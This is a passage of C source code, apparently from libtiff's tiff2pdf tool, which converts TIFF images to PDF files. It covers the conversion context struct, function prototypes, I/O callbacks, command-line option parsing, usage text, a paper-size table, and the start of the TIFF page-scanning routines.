pdf_subject[TIFF2PDF_SUBJECT_SIZE]; #define TIFF2PDF_KEYWORDS_SIZE 512 char pdf_keywords[TIFF2PDF_KEYWORDS_SIZE]; t2p_cs_t pdf_colorspace; uint16 pdf_colorspace_invert; uint16 pdf_switchdecode; uint16 pdf_palettesize; unsigned char* pdf_palette; int pdf_labrange[4]; t2p_compress_t pdf_defaultcompression; uint16 pdf_defaultcompressionquality; t2p_compress_t pdf_compression; uint16 pdf_compressionquality; uint16 pdf_nopassthrough; t2p_transcode_t pdf_transcode; t2p_sample_t pdf_sample; uint32* pdf_xrefoffsets; uint32 pdf_xrefcount; tdir_t pdf_page; #ifdef OJPEG_SUPPORT tdata_t pdf_ojpegdata; uint32 pdf_ojpegdatalength; uint32 pdf_ojpegiflength; #endif float tiff_whitechromaticities[2]; float tiff_primarychromaticities[6]; float tiff_referenceblackwhite[2]; float* tiff_transferfunction[3]; int pdf_image_interpolate; /* 0 (default) : do not interpolate, 1 : interpolate */ uint16 tiff_transferfunctioncount; uint32 pdf_icccs; uint32 tiff_iccprofilelength; tdata_t tiff_iccprofile; /* fields for custom read/write procedures */ FILE *outputfile; int outputdisable; tsize_t outputwritten; } T2P; /* These functions are called by main. */ void tiff2pdf_usage(void); int tiff2pdf_match_paper_size(float*, float*, char*); /* These functions are used to generate a PDF from a TIFF. */ #ifdef __cplusplus extern "C" { #endif T2P* t2p_init(void); void t2p_validate(T2P*); tsize_t t2p_write_pdf(T2P*, TIFF*, TIFF*); void t2p_free(T2P*); #ifdef __cplusplus } #endif void t2p_read_tiff_init(T2P*, TIFF*); int t2p_cmp_t2p_page(const void*, const void*); void t2p_read_tiff_data(T2P*, TIFF*); void t2p_read_tiff_size(T2P*, TIFF*); void t2p_read_tiff_size_tile(T2P*, TIFF*, ttile_t); int t2p_tile_is_right_edge(T2P_TILES, ttile_t); int t2p_tile_is_bottom_edge(T2P_TILES, ttile_t); int t2p_tile_is_edge(T2P_TILES, ttile_t); int t2p_tile_is_corner_edge(T2P_TILES, ttile_t); tsize_t t2p_readwrite_pdf_image(T2P*, TIFF*, TIFF*); tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t); #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P*, TIFF*); #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t, tsize_t*, tstrip_t, uint32); #endif void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32); void t2p_write_advance_directory(T2P*, TIFF*); tsize_t t2p_sample_planar_separate_to_contig(T2P*, unsigned char*, unsigned char*, tsize_t); tsize_t t2p_sample_realize_palette(T2P*, unsigned char*); tsize_t t2p_sample_abgr_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgba_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgbaa_to_rgb(tdata_t, uint32); tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t, uint32); tsize_t t2p_write_pdf_header(T2P*, TIFF*); tsize_t t2p_write_pdf_obj_start(uint32, TIFF*); tsize_t t2p_write_pdf_obj_end(TIFF*); tsize_t t2p_write_pdf_name(unsigned char*, TIFF*); tsize_t t2p_write_pdf_string(char*, TIFF*); tsize_t t2p_write_pdf_stream(tdata_t, tsize_t, TIFF*); tsize_t t2p_write_pdf_stream_start(TIFF*); tsize_t t2p_write_pdf_stream_end(TIFF*); tsize_t t2p_write_pdf_stream_dict(tsize_t, uint32, TIFF*); tsize_t t2p_write_pdf_stream_dict_start(TIFF*); tsize_t t2p_write_pdf_stream_dict_end(TIFF*); tsize_t t2p_write_pdf_stream_length(tsize_t, TIFF*); tsize_t t2p_write_pdf_catalog(T2P*, TIFF*); tsize_t t2p_write_pdf_info(T2P*, TIFF*, TIFF*); void t2p_pdf_currenttime(T2P*); void t2p_pdf_tifftime(T2P*, TIFF*); tsize_t t2p_write_pdf_pages(T2P*, TIFF*); tsize_t t2p_write_pdf_page(uint32, T2P*, TIFF*); void t2p_compose_pdf_page(T2P*); void t2p_compose_pdf_page_orient(T2P_BOX*, uint16); void t2p_compose_pdf_page_orient_flip(T2P_BOX*, uint16); tsize_t t2p_write_pdf_page_content(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer_dict(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_transfer_stream(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_xobject_calcs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_dict(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_decode(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xreftable(T2P*, TIFF*); tsize_t t2p_write_pdf_trailer(T2P*, TIFF*); #define check_snprintf_ret(t2p, rv, buf) do { \ if ((rv) < 0) rv = 0; \ else if((rv) >= (int)sizeof(buf)) (rv) = sizeof(buf) - 1; \ else break; \ if ((t2p) != NULL) (t2p)->t2p_error = T2P_ERR_ERROR; \ } while(0) static void t2p_disable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 1; } static void t2p_enable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 0; } /* * Procs for TIFFClientOpen */ #ifdef OJPEG_SUPPORT static tmsize_t t2pReadFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetReadProc(tif); if (proc) return proc(client, data, size); return -1; } #endif /* OJPEG_SUPPORT */ static tmsize_t t2pWriteFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetWriteProc(tif); if (proc) return proc(client, data, size); return -1; } static uint64 t2pSeekFile(TIFF *tif, toff_t offset, int whence) { thandle_t client = TIFFClientdata(tif); TIFFSeekProc proc = TIFFGetSeekProc(tif); if (proc) return proc(client, offset, whence); return -1; } static tmsize_t t2p_readproc(thandle_t handle, tdata_t data, tmsize_t size) { (void) handle, (void) data, (void) size; return -1; } static tmsize_t t2p_writeproc(thandle_t handle, tdata_t data, tmsize_t size) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) { tsize_t written = fwrite(data, 1, size, t2p->outputfile); t2p->outputwritten += written; return written; } return size; } static uint64 t2p_seekproc(thandle_t handle, uint64 offset, int whence) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) return _TIFF_fseek_f(t2p->outputfile, (_TIFF_off_t) offset, whence); return offset; } static int t2p_closeproc(thandle_t handle) { T2P *t2p = (T2P*) handle; return fclose(t2p->outputfile); } static uint64 t2p_sizeproc(thandle_t handle) { (void) handle; return -1; } static int t2p_mapproc(thandle_t handle, void **data, toff_t *offset) { (void) handle, (void) data, (void) offset; return -1; } static void t2p_unmapproc(thandle_t handle, void *data, toff_t offset) { (void) handle, (void) data, (void) offset; } #if defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) static uint64 checkAdd64(uint64 summand1, uint64 summand2, T2P* t2p) { uint64 bytes = summand1 + summand2; if (bytes < summand1) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } #endif /* defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) */ static uint64 checkMultiply64(uint64 first, uint64 second, T2P* t2p) { uint64 bytes = first * second; if (second && bytes / second != first) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } /* This is the main function. The program converts one TIFF file to one PDF file, including multiple page TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF files that contain data of TIFF photometric interpretations of bilevel, grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by libtiff and PDF. If you have multiple TIFF files to convert into one PDF file then use tiffcp or other program to concatenate the files into a multiple page TIFF file. If the input TIFF file is of huge dimensions (greater than 10000 pixels height or width) convert the input image to a tiled TIFF if it is not already. The standard output is standard output. Set the output file name with the "-o output.pdf" option. All black and white files are compressed into a single strip CCITT G4 Fax compressed PDF, unless tiled, where tiled black and white images are compressed into tiled CCITT G4 Fax compressed PDF, libtiff CCITT support is assumed. Color and grayscale data can be compressed using either JPEG compression, ITU-T T.81, or Zip/Deflate LZ77 compression, per PNG 1.2 and RFC 1951. Set the compression type using the -j or -z options. JPEG compression support requires that libtiff be configured with JPEG support, and Zip/Deflate compression support requires that libtiff is configured with Zip support, in tiffconf.h. Use only one or the other of -j and -z. The -q option sets the image compression quality, that is 1-100 with libjpeg JPEG compression and one of 1, 10, 11, 12, 13, 14, or 15 for PNG group compression predictor methods, add 100, 200, ..., 900 to set zlib compression quality 1-9. PNG Group differencing predictor methods are not currently implemented. If the input TIFF contains single strip CCITT G4 Fax compressed information, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set, -d and -n. If the input TIFF contains JPEG or single strip Zip/Deflate compressed information, and they are configured, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set. The default page size upon which the TIFF image is placed is determined by the resolution and extent of the image data. Default values for the TIFF image resolution can be set using the -x and -y options. The page size can be set using the -p option for paper size, or -w and -l for paper width and length, then each page of the TIFF image is centered on its page. The distance unit for default resolution and page width and length can be set by the -u option, the default unit is inch. Various items of the output document information can be set with the -e, -c, -a, -t, -s, and -k tags. Setting the argument of the option to "" for these tags causes the relevant document information field to be not written. Some of the document information values otherwise get their information from the input TIFF image, the software, author, document name, and image description. The output PDF file conforms to the PDF 1.1 specification or PDF 1.2 if using Zip/Deflate compression. The Portable Document Format (PDF) specification is copyrighted by Adobe Systems, Incorporated. Todos derechos reservados. Here is a listing of the usage example and the options to the tiff2pdf program that is part of the libtiff distribution. Options followed by a colon have a required argument. usage: tiff2pdf [options] input.tif options: -o: output to file name -j: compress with JPEG (requires libjpeg configured with libtiff) -z: compress with Zip/Deflate (requires zlib configured with libtiff) -q: compression quality -n: no compressed data passthrough -d: do not compress (decompress) -i: invert colors -u: set distance unit, 'i' for inch, 'm' for centimeter -x: set x resolution default -y: set y resolution default -w: width in units -l: length in units -r: 'd' for resolution default, 'o' for resolution override -p: paper size, eg "letter", "legal", "a4" -F: make the tiff fill the PDF page -f: set pdf "fit window" user preference -b: set PDF "Interpolate" user preference -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS -c: creator, overrides image software default -a: author, overrides image artist default -t: title, overrides image document name default -s: subject, overrides image image description default -k: keywords -h: usage examples: tiff2pdf -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff. tiff2pdf input.tiff The above example would generate PDF output from input.tiff and write it to standard output. tiff2pdf -j -p letter -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff, putting the image pages on a letter sized page, compressing the output with JPEG. Please report bugs through: http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff See also libtiff.3t, tiffcp. */ int main(int argc, char** argv){ #if !HAVE_DECL_OPTARG extern char *optarg; extern int optind; #endif const char *outfilename = NULL; T2P *t2p = NULL; TIFF *input = NULL, *output = NULL; int c, ret = EXIT_SUCCESS; t2p = t2p_init(); if (t2p == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't initialize context"); goto fail; } while (argv && (c = getopt(argc, argv, "o:q:u:x:y:w:l:r:p:e:c:a:t:s:k:jzndifbhF")) != -1){ switch (c) { case 'o': outfilename = optarg; break; #ifdef JPEG_SUPPORT case 'j': t2p->pdf_defaultcompression=T2P_COMPRESS_JPEG; break; #endif #ifndef JPEG_SUPPORT case 'j': TIFFWarning( TIFF2PDF_MODULE, "JPEG support in libtiff required for JPEG compression, ignoring option"); break; #endif #ifdef ZIP_SUPPORT case 'z': t2p->pdf_defaultcompression=T2P_COMPRESS_ZIP; break; #endif #ifndef ZIP_SUPPORT case 'z': TIFFWarning( TIFF2PDF_MODULE, "Zip support in libtiff required for Zip compression, ignoring option"); break; #endif case 'q': t2p->pdf_defaultcompressionquality=atoi(optarg); break; case 'n': t2p->pdf_nopassthrough=1; break; case 'd': t2p->pdf_defaultcompression=T2P_COMPRESS_NONE; break; case 'u': if(optarg[0]=='m'){ t2p->pdf_centimeters=1; } break; case 'x': t2p->pdf_defaultxres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'y': t2p->pdf_defaultyres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'w': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagewidth = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'l': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagelength = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'r': if(optarg[0]=='o'){ t2p->pdf_overrideres=1; } break; case 'p': if(tiff2pdf_match_paper_size( &(t2p->pdf_defaultpagewidth), &(t2p->pdf_defaultpagelength), optarg)){ t2p->pdf_overridepagesize=1; } else { TIFFWarning(TIFF2PDF_MODULE, "Unknown paper size %s, ignoring option", optarg); } break; case 'i': t2p->pdf_colorspace_invert=1; break; case 'F': t2p->pdf_image_fillpage = 1; break; case 'f': t2p->pdf_fitwindow=1; break; case 'e': if (strlen(optarg) == 0) { t2p->pdf_datetime[0] = '\0'; } else { t2p->pdf_datetime[0] = 'D'; t2p->pdf_datetime[1] = ':'; strncpy(t2p->pdf_datetime + 2, optarg, sizeof(t2p->pdf_datetime) - 3); t2p->pdf_datetime[sizeof(t2p->pdf_datetime) - 1] = '\0'; } break; case 'c': strncpy(t2p->pdf_creator, optarg, sizeof(t2p->pdf_creator) - 1); t2p->pdf_creator[sizeof(t2p->pdf_creator) - 1] = '\0'; break; case 'a': strncpy(t2p->pdf_author, optarg, sizeof(t2p->pdf_author) - 1); t2p->pdf_author[sizeof(t2p->pdf_author) - 1] = '\0'; break; case 't': strncpy(t2p->pdf_title, optarg, sizeof(t2p->pdf_title) - 1); t2p->pdf_title[sizeof(t2p->pdf_title) - 1] = '\0'; break; case 's': strncpy(t2p->pdf_subject, optarg, sizeof(t2p->pdf_subject) - 1); t2p->pdf_subject[sizeof(t2p->pdf_subject) - 1] = '\0'; break; case 'k': strncpy(t2p->pdf_keywords, optarg, sizeof(t2p->pdf_keywords) - 1); t2p->pdf_keywords[sizeof(t2p->pdf_keywords) - 1] = '\0'; break; case 'b': t2p->pdf_image_interpolate = 1; break; case 'h': case '?': tiff2pdf_usage(); goto success; break; } } /* * Input */ if(argc > optind) { input = TIFFOpen(argv[optind++], "r"); if (input==NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open input file %s for reading", argv[optind-1]); goto fail; } } else { TIFFError(TIFF2PDF_MODULE, "No input file specified"); tiff2pdf_usage(); goto fail; } if(argc > optind) { TIFFError(TIFF2PDF_MODULE, "No support for multiple input files"); tiff2pdf_usage(); goto fail; } /* * Output */ t2p->outputdisable = 1; if (outfilename) { t2p->outputfile = fopen(outfilename, "wb"); if (t2p->outputfile == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open output file %s for writing", outfilename); goto fail; } } else { outfilename = "-"; t2p->outputfile = stdout; } output = TIFFClientOpen(outfilename, "w", (thandle_t) t2p, t2p_readproc, t2p_writeproc, t2p_seekproc, t2p_closeproc, t2p_sizeproc, t2p_mapproc, t2p_unmapproc); t2p->outputdisable = 0; if (output == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't initialize output descriptor"); goto fail; } /* * Validate */ t2p_validate(t2p); t2pSeekFile(output, (toff_t) 0, SEEK_SET); /* * Write */ t2p_write_pdf(t2p, input, output); if (t2p->t2p_error != 0) { TIFFError(TIFF2PDF_MODULE, "An error occurred creating output PDF file"); goto fail; } goto success; fail: ret = EXIT_FAILURE; success: if(input != NULL) TIFFClose(input); if (output != NULL) TIFFClose(output); if (t2p != NULL) t2p_free(t2p); return ret; } void tiff2pdf_usage(){ char* lines[]={ "usage: tiff2pdf [options] input.tiff", "options:", " -o: output to file name", #ifdef JPEG_SUPPORT " -j: compress with JPEG", #endif #ifdef ZIP_SUPPORT " -z: compress with Zip/Deflate", #endif " -q: compression quality", " -n: no compressed data passthrough", " -d: do not compress (decompress)", " -i: invert colors", " -u: set distance unit, 'i' for inch, 'm' for centimeter", " -x: set x resolution default in dots per unit", " -y: set y resolution default in dots per unit", " -w: width in units", " -l: length in units", " -r: 'd' for resolution default, 'o' for resolution override", " -p: paper size, eg \"letter\", \"legal\", \"A4\"", " -F: make the tiff fill the PDF page", " -f: set PDF \"Fit Window\" user preference", " -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS", " -c: sets document creator, overrides image software default", " -a: sets document author, overrides image artist default", " -t: sets document title, overrides image document name default", " -s: sets document subject, overrides image image description default", " -k: sets document keywords", " -b: set PDF \"Interpolate\" user preference", " -h: usage", NULL }; int i=0; fprintf(stderr, "%s\n\n", TIFFGetVersion()); for (i=0;lines[i]!=NULL;i++){ fprintf(stderr, "%s\n", lines[i]); } return; } int tiff2pdf_match_paper_size(float* width, float* length, char* papersize){ size_t i, len; const char* sizes[]={ "LETTER", "A4", "LEGAL", "EXECUTIVE", "LETTER", "LEGAL", "LEDGER", "TABLOID", "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "A10", "A9", "A8", "A7", "A6", "A5", "A4", "A3", "A2", "A1", "A0", "2A0", "4A0", "2A", "4A", "B10", "B9", "B8", "B7", "B6", "B5", "B4", "B3", "B2", "B1", "B0", "JISB10", "JISB9", "JISB8", "JISB7", "JISB6", "JISB5", "JISB4", "JISB3", "JISB2", "JISB1", "JISB0", "C10", "C9", "C8", "C7", "C6", "C5", "C4", "C3", "C2", "C1", "C0", "RA2", "RA1", "RA0", "SRA4", "SRA3", "SRA2", "SRA1", "SRA0", "A3EXTRA", "A4EXTRA", "STATEMENT", "FOLIO", "QUARTO", NULL } ; const int widths[]={ 612, 595, 612, 522, 612,612,792,792, 612,792,1224,1584,2448,2016,792,2016,2448,2880, 74,105,147,210,298,420,595,842,1191,1684,2384,3370,4768,3370,4768, 88,125,176,249,354,499,709,1001,1417,2004,2835, 91,128,181,258,363,516,729,1032,1460,2064,2920, 79,113,162,230,323,459,649,918,1298,1298,2599, 1219,1729,2438,638,907,1276,1814,2551, 914,667, 396, 612, 609, 0 }; const int lengths[]={ 792,842,1008, 756,792,1008,1224,1224, 792,1224,1584,2448,3168,2880,6480,10296,12672,10296, 105,147,210,298,420,595,842,1191,1684,2384,3370,4768,6741,4768,6741, 125,176,249,354,499,709,1001,1417,2004,2835,4008, 128,181,258,363,516,729,1032,1460,2064,2920,4127, 113,162,230,323,459,649,918,1298,1837,1837,3677, 1729,2438,3458,907,1276,1814,2551,3628, 1262,914, 612, 936, 780, 0 }; len=strlen(papersize); for(i=0;i<len;i++){ papersize[i]=toupper((int) papersize[i]); } for(i=0;sizes[i]!=NULL; i++){ if (strcmp( (const char*)papersize, sizes[i])==0){ *width=(float)widths[i]; *length=(float)lengths[i]; return(1); } } return(0); } /* * This function allocates and initializes a T2P context struct pointer. */ T2P* t2p_init() { T2P* t2p = (T2P*) _TIFFmalloc(sizeof(T2P)); if(t2p==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_init", (unsigned long) sizeof(T2P)); return( (T2P*) NULL ); } _TIFFmemset(t2p, 0x00, sizeof(T2P)); t2p->pdf_majorversion=1; t2p->pdf_minorversion=1; t2p->pdf_defaultxres=300.0; t2p->pdf_defaultyres=300.0; t2p->pdf_defaultpagewidth=612.0; t2p->pdf_defaultpagelength=792.0; t2p->pdf_xrefcount=3; /* Catalog, Info, Pages */ return(t2p); } /* * This function frees a T2P context struct pointer and any allocated data fields of it. */ void t2p_free(T2P* t2p) { int i = 0; if (t2p != NULL) { if(t2p->pdf_xrefoffsets != NULL){ _TIFFfree( (tdata_t) t2p->pdf_xrefoffsets); } if(t2p->tiff_pages != NULL){ _TIFFfree( (tdata_t) t2p->tiff_pages); } for(i=0;i<t2p->tiff_pagecount;i++){ if(t2p->tiff_tiles[i].tiles_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles[i].tiles_tiles); } } if(t2p->tiff_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles); } if(t2p->pdf_palette != NULL){ _TIFFfree( (tdata_t) t2p->pdf_palette); } #ifdef OJPEG_SUPPORT if(t2p->pdf_ojpegdata != NULL){ _TIFFfree( (tdata_t) t2p->pdf_ojpegdata); } #endif _TIFFfree( (tdata_t) t2p ); } return; } /* This function validates the values of a T2P context struct pointer before calling t2p_write_pdf with it. */ void t2p_validate(T2P* t2p){ #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_defaultcompressionquality>100 || t2p->pdf_defaultcompressionquality<1){ t2p->pdf_defaultcompressionquality=0; } } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_ZIP){ uint16 m=t2p->pdf_defaultcompressionquality%100; if(t2p->pdf_defaultcompressionquality/100 > 9 || (m>1 && m<10) || m>15){ t2p->pdf_defaultcompressionquality=0; } if(t2p->pdf_defaultcompressionquality%100 !=0){ t2p->pdf_defaultcompressionquality/=100; t2p->pdf_defaultcompressionquality*=100; TIFFError( TIFF2PDF_MODULE, "PNG Group predictor differencing not implemented, assuming compression quality %u", t2p->pdf_defaultcompressionquality); } t2p->pdf_defaultcompressionquality%=100; if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } #endif (void)0; return; } /* This function scans the input TIFF file for pages. It attempts to determine which IFD's of the TIFF file contain image document pages. For each, it gathers some information that has to do with the output of the PDF document as a whole. */ void t2p_read_tiff_init(T2P* t2p, TIFF* input){ tdir_t directorycount=0; tdir_t i=0; uint16 pagen=0; uint16 paged=0; uint16 xuint16=0; directorycount=TIFFNumberOfDirectories(input); t2p->tiff_pages = (T2P_PAGE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_PAGE))); if(t2p->tiff_pages==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_pages array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_PAGE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_pages, 0x00, directorycount * sizeof(T2P_PAGE)); t2p->tiff_tiles = (T2P_TILES*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_TILES))); if(t2p->tiff_tiles==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_tiles array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_TILES), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_tiles, 0x00, directorycount * sizeof(T2P_TILES)); for(i=0;i<directorycount;i++){ uint32 subfiletype = 0; if(!TIFFSetDirectory(input, i)){ TIFFError( TIFF2PDF_MODULE, "Can't set directory %u of input file %s", i, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PAGENUMBER, &pagen, &paged)){ if((pagen>paged) && (paged != 0)){ t2p->tiff_pages[t2p->tiff_pagecount].page_number = paged; } else { t2p->tiff_pages[t2p->tiff_pagecount].page_number = pagen; } goto ispage2; } if(TIFFGetField(input, TIFFTAG_SUBFILETYPE, &subfiletype)){ if ( ((subfiletype & FILETYPE_PAGE) != 0) || (subfiletype == 0)){ goto ispage; } else { goto isnotpage; } } if(TIFFGetField(input, TIFFTAG_OSUBFILETYPE, &subfiletype)){ if ((subfiletype == OFILETYPE_IMAGE) || (subfiletype == OFILETYPE_PAGE) || (subfiletype == 0) ){ goto ispage; } else { goto isnotpage; } } ispage: t2p->tiff_pages[t2p->tiff_pagecount].page_number=t2p->tiff_pagecount; ispage2: t2p->tiff_pages[t2p->tiff_pagecount].page_directory=i; if(TIFFIsTiled(input)){ t2p->tiff_pages[t2p->tiff_pagecount].page_tilecount = TIFFNumberOfTiles(input); } t2p->tiff_pagecount++; isnotpage: (void)0; } qsort((void*) t2p->tiff_pages, t2p->tiff_pagecount, sizeof(T2P_PAGE), t2p_cmp_t2p_page); for(i=0;i<t2p->tiff_pagecount;i++){ t2p->pdf_xrefcount += 5; TIFFSetDirectory(input, t2p->tiff_pages[i].page_directory ); if((TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &xuint16) && (xuint16==PHOTOMETRIC_PALETTE)) || TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)) { t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; } #ifdef ZIP_SUPPORT if (TIFFGetField(input, TIFFTAG_COMPRESSION, &xuint16)) { if( (xuint16== COMPRESSION_DEFLATE || xuint16== COMPRESSION_ADOBE_DEFLATE) && ((t2p->tiff_pages[i].page_tilecount != 0) || TIFFNumberOfStrips(input)==1) && (t2p->pdf_nopassthrough==0) ){ if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } } #endif if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount = 3; t2p->tiff_pages[i].page_extra += 4; t2p->pdf_xrefcount += 4; } else { t2p->tiff_transferfunctioncount = 1; t2p->tiff_pages[i].page_extra += 2; t2p->pdf_xrefcount += 2; } if(t2p->pdf_minorversion < 2) t2p->pdf_minorversion = 2; } else { t2p->tiff_transferfunctioncount=0; } if( TIFFGetField( input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile)) != 0){ t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; if(t2p->pdf_minorversion<3){t2p->pdf_minorversion=3;} } t2p->tiff_tiles[i].tiles_tilecount= t2p->tiff_pages[i].page_tilecount; if( (TIFFGetField(input, TIFFTAG_PLANARCONFIG, &xuint16) != 0) && (xuint16 == PLANARCONFIG_SEPARATE ) ){ if( !TIFFGetField(input, TIFFTAG_SAMPLESPERPIXEL, &xuint16) ) { TIFFError( TIFF2PDF_MODULE, "Missing SamplesPerPixel, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if( (t2p->tiff_tiles[i].tiles_tilecount % xuint16) != 0 ) { TIFFError( TIFF2PDF_MODULE, "Invalid tile count, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->tiff_tiles[i].tiles_tilecount/= xuint16; } if( t2p->tiff_tiles[i].tiles_tilecount > 0){ t2p->pdf_xrefcount += (t2p->tiff_tiles[i].tiles_tilecount -1)*2; TIFFGetField(input, TIFFTAG_TILEWIDTH, &( t2p->tiff_tiles[i].tiles_tilewidth) ); TIFFGetField(input, TIFFTAG_TILELENGTH, &( t2p->tiff_tiles[i].tiles_tilelength) ); t2p->tiff_tiles[i].tiles_tiles = (T2P_TILE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->tiff_tiles[i].tiles_tilecount, sizeof(T2P_TILE)) ); if( t2p->tiff_tiles[i].tiles_tiles == NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for t2p_read_tiff_init, %s", (TIFF_SIZE_T) t2p->tiff_tiles[i].tiles_tilecount * sizeof(T2P_TILE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } return; } /* * This function is used by qsort to sort a T2P_PAGE* array of page structures * by page number. If the page numbers are the same, we fall back to comparing * directory numbers to preserve the order of the input file. */ int t2p_cmp_t2p_page(const void* e1, const void* e2){ int d; d = (int32)(((T2P_PAGE*)e1)->page_number) - (int32)(((T2P_PAGE*)e2)->page_number); if(d == 0){ d = (int32)(((T2P_PAGE*)e1)->page_directory) - (int32)(((T2P_PAGE*)e2)->page_directory); } return d; } /* This function sets the input directory to the directory of a given page and determines information about the image. It checks the image characteristics to determine if it is possible to convert the image data into a page of PDF output, setting values of the T2P struct for this page. It determines what color space is used in the output PDF to represent the image. It determines if the image can be converted as raw data without requiring transcoding of the image data. */ void t2p_read_tiff_data(T2P* t2p, TIFF* input){ int i=0; uint16* r; uint16* g; uint16* b; uint16* a; uint16 xuint16; uint16* xuint16p; float* xfloatp; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; t2p->pdf_sample = T2P_SAMPLE_NOTHING; t2p->pdf_switchdecode = t2p->pdf_colorspace_invert; TIFFSetDirectory(input, t2p->tiff_pages[t2p->pdf_page].page_directory); TIFFGetField(input, TIFFTAG_IMAGEWIDTH, &(t2p->tiff_width)); if(t2p->tiff_width == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero width", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetField(input, 